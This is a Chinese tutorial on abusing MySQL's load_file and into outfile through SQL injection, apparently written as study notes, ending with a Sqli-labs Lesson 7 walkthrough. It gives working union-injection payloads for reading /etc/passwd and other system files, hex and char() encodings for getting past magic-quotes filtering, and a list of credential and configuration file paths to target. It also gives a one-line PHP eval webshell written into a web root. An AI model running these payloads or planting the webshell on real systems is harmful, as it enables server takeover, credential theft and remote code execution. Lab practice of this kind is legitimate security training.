这世界总是这么可笑对不对?总是一个人很想说话,另一个人不想听。
知识点补充:
select '浪子好帅啊' into outfile '网站路径\test.txt';
一般来说MYSQL的写入函数与写出函数可以配合一起使用
select load_file '网站路径\index.php';
into file是写入文件,load_file是读取文件,一般都需要root权限
load_file
load_file函数只有满足两个条件就可以使用:
1. 文件权限:chmod a+x pathtofile
2. 文件大小: 必须小于max_allowed_packet
判断是否有权限可读
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
and (select count(*) from mysql.user)>0 /* 返回错误,应该是管理员给数据库账户降权了*/
解读上面的SQL语句,原理是确定当前表中有用户即可.
并且读取的时候一定要有完整的路径.
例子:?id=1' union select 1,2,load_file 'etc/hosts' --+
into outfile
into outfile函数要满足五个条件才可以使用:
1. 知道物理路径(into outfule '物理路径'), 这样才能写对目录。
2. 能够使用union (需要mysql 3以上的版本)
3. 对方没有对(')进行过滤(因为outfile后面的('')不可以用其他函数代替转换)
4. mysql用户拥有file_priv权限(不然就不能写文件或读文件)
5. WEB的目录要有可读可执行权限
使用方法如上
例子:?id=1' union select 1,2,'浪子好帅啊' into outfile('完整的WEB目录')--+
网站路径获取方法
- phpinfo.php文件,一般在根目录下存在php.php info.php phpinfo.php,test.php php_info.php等。
- 报错路径然后读取文件。
- 默认配置文件,可以百度搜索某cms的对应配置文件,找到链接数据库文件,读取数据库账号密码。
总结
如果PHP中magic_quotes_gpc=on,也就是魔术引号手开启自动过滤单引号双引号斜杠,那么读取写入文件时候,加在路劲边上的单引号就会被过滤掉,这时候前面学的函数char()和hex()就能派上用场了
比如我要读取/etc/host文件,先把它转换成ascii码
-1 union select 1,2,load_file(char(47,101,116,99,47,104,111,115,116,115)) --+
可以看到效果一样的
如果使用上面的char()函数觉得不得劲,可以使用hex()函数试一试
同理先转换成hex编码格式
-1 union select 1,2,load_file(0x2f6574632f686f737473)--+
值得注意的是,PHP中,hex编码的直接加进去即可,自动识别,就像0x1aafd51a3f1q
有的时候如果没办法读取,可以把内容out file出来,然后下载,但测试只能在数据库中执行
mysql的load_file()常见的用法:
- replace(load_file(0×2F6574632F706173737764), 0x3c, 0x20)
- replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))上面两个是查看一些php文件里完全显示代码。有些时候不替换一些字符,如”<”替换成”空格”,返回的是网页。而无法查看到代码。
- load_file(char(47))可以列出FreeBSD, Sunos系统根目录。
- /etc/httpd/conf/httpd.conf或者/usr/local/apache/conf/httpd.conf查看linux apache虚拟主机配置文件。
- c:/Program Files/Apache Group/Apache/conf/httpd.conf或c:/apache/conf/httpd.conf 查看windows系统apache文件。
- c:/Resin-3.0.14/conf/resin.conf 或c:/Resin/conf/resin.conf 查看jsp开发网站的resin文件配置信息。
- /usr/local/resin/conf/resin.cof 查看linux系统配置的JSP虚拟主机
- d:/apache/apache2/conf/httpd.conf
- c:/Program Files/mysql.my.ini
- ../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
- c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虚拟主机配置文件
- /usr/local/resin-3.0.22/conf/resin.conf 或/usr/local/resin-pro-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
- /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
- /etc/sysconfig/iptables 查看防火墙策略
- usr/local/app/php5/lib/php.ini PHP 的设置
- /etc/my.cnf MYSQL的配置文件
- /etc/redhat-release 红帽子的系统版本
- c:/mysql/data/mysql/user.MYD 存在MYSQL系统中的用户密码
- /etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
- /usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虚拟网站设置
- c:/windows/my.ini
技巧
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成\’,那么基本没的玩了。唯一的一种可能就是你使用mysql远程连接,然后直接在mysql中执行命令,就没有查询限制了。当然,你要是找到了phpmyadmin,也可以。
load_file,后面的路径可以是单引号、0x、char转换的字符。这而记得路径中的斜杠是/而不是\。一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。
load_file可以在union中作为一个字段来用。如union select 1,load_file(‘c:/boot.ini’),3,4 from ka_admin等。
load_file可以在where字句中使用。如 and length(load_file(0x633A2F626F6F742E696E69))>1
load_file文件的时候,特别是想看exe等含有二进制的00等截断或者回车换行等特殊符号时,可以结合hex函数。如union select 1,hex(load_file(‘c:/windows/notepad.exe’)),3 from xxxx,这样就不会存在截断了,也不会一会断行而截断。自己再用个工具或者几行代码转换回来就是了。
outfile一句话(经典):select ‘<?php eval($_POST[cmd])?>’ into outfile ‘D:/PHPnow-1.5.4/htdocs/index2.php’或者从表中select * from a into outfile ‘D:/PHPnow-1.5.4/htdocs/index2.php’
关于mysql多语句:直接在mysql中,可以同时select中使用update或者insert,但是php注入中就不行,至少我测试的是php的函数mysql_query是不行。
Sqli labs Lesson 7 实战笔记
根据提示,这一课的的要求是写入文件或者webshell
判断是否存在注入
回显语句错误,明显存在注入,通过判断是字符串型注入,闭合方式是
?id=1')) order by xxx --+
判断字段数
输入4的时候报错,3正常,说明存在3个字段
探测可显示字段
与lesson5-6一样,没有回显,因为本课的目标是写入文件,后面的继续探测信息也就不继续了,并且通过强制报错也没办法回显内容,当然并不是不能注入.用盲注就可以的~
寻找路径
这一课有些特别,原因在于目标是写入文件,但是完全没有回显,我的想法是通过盲注来找到数据库的路径,但是目标量实在是太大,思路就是盲注@@datadir的值
这里就假设我已经通过盲注或者让页面报错找到了WEB路径
WEB:/var/www/html/sqli-labs
写入文件
虽然页面回显报错,但是通过访问路径发现的确写进去了
如果这里魔术引号手开启了,大家能想到办法绕过吗?